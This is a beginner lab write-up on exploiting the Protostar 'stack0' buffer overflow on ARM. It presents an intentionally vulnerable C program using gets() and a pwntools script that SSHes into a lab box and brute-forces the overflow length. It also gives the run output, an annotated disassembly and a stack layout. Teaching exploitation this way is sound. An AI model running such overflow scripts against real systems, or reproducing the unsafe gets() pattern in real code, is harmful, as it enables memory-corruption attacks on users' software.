A simple ARM buffer overflow
Tags: security, beginners, challenge
Published: 2021-01-27 21:19:57

---
series: ProtoARM
---

Let's get started with binary exploitation on ARM systems. This challenge is based on the 'protostar' series.

This is our vulnerable program:

```c
#include <stdio.h>

int main() {

	volatile int modified;
	char buffer[64];

	modified = 0;
	gets(buffer);

	if (modified != 0)
		printf("modified: %d\n", modified);
	else
		printf("nope");
}
```

The goal is to abuse the unsafe `gets` function to modify the `modified` variable.
Both `buffer` and `modified` are on the stack. A `buffer` overflow will overwrite the `modified` variable.
We can use `pwntools` to find the correct offset:

```python
#!/usr/bin/env python3

from pwn import *

# ssh into the ARM box
socket = ssh(host='192.168.0.1', user='root', password='')

i = 0
while True:
    i += 1
    print('test', i)
    payload = 'A' * i
    process = socket.process('/root/protostarm/stack0/stack0')
    process.sendline(payload)
    res = process.recv().decode()
    process.close()
    if 'nope' not in res:
        print('i =', i)
        print(res)
        break

socket.close()
```

After a while we have:

```shell
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
    Distro    Debian testing
    OS:       linux
    Arch:     arm
    Version:  4.9.0
    ASLR:     Enabled
test 0

[...]

test 64
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1623
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1623)
test 65
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1627
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1627)
i = 65
modified : 65

[*] Closed connection to '192.168.0.1'
```

We successfully changed the `modified` variable by entering 65 A's into the `buffer`.

Now let's have a look at the disassembly so we can understand why it's 65:

```arm
00000538 <main>:
 538:	b580      	push	{r7, lr}                ; save r7 and lr
                                                        ; r7: saved frame pointer in thumb mode
                                                        ; lr: saved instruction pointer (Link Register)
 53a:	b092      	sub	sp, #72	; 0x48	        ; reserve stack space
 53c:	af00      	add	r7, sp, #0	        ; r7 = sp + 0
 53e:	2300      	movs	r3, #0                  ; r3 = 0
 540:	647b      	str	r3, [r7, #68]	; 0x44	; modified = r3
 542:	1d3b      	adds	r3, r7, #4              ; r3 points to buffer
 544:	4618      	mov	r0, r3                  ; r0 = r3
 546:	f7ff ef58 	blx	3f8 <gets@plt>          ; gets(&buffer);
 54a:	6c7b      	ldr	r3, [r7, #68]	; 0x44  ; r3 = modified
 54c:	2b00      	cmp	r3, #0                  ; modified == 0 ?
 54e:	d007      	beq.n	560 <main+0x28>

 550:	6c7b      	ldr	r3, [r7, #68]           ; 0x44
 552:	4619      	mov	r1, r3                  ; r1 = modified (2nd argument)
 554:	4b07      	ldr	r3, [pc, #28]           ; (574 <main+0x3c>)
 556:	447b      	add	r3, pc
 558:	4618      	mov	r0, r3                  ; r0 = "modified: %d\n" (1st argument)
 55a:	f7ff ef48 	blx	3ec <printf@plt>        ; printf("modified: %d\n", modified);

 55e:	e004      	b.n	56a <main+0x32>

 560:	4b05      	ldr	r3, [pc, #20]           ; (578 <main+0x40>)
 562:	447b      	add	r3, pc
 564:	4618      	mov	r0, r3                  ; r0 = r3 (load first arg)
 566:	f7ff ef42 	blx	3ec <printf@plt>        ; printf("nope");

 56a:	2300      	movs	r3, #0                  ; init r3
 56c:	4618      	mov	r0, r3                  ; r0 = r3
 56e:	3748      	adds	r7, #72	; 0x48          ; restore stack space
 570:	46bd      	mov	sp, r7                  ; restore caller stack
 572:	bd80      	pop	{r7, pc}                ; restore sp/pc
 574:	00000072 	andeq	r0, r0, r2, ror r0
 578:	00000076 	andeq	r0, r0, r6, ror r0
```

Stack is 72 bytes long and organized this way:

```
+++
|  modified 00 |
|  modified 00 |
|  modified 00 |
|  modified 00 | 
| buffer[63]   | i = 64
|              |
|   [...]      |
|              |
| buffer[0]    | i = 1
---
```

`gets` appends a null terminator so it needs 65 A's to modify the variable. If we initially set `modified` to 1, it only needs 64 A's.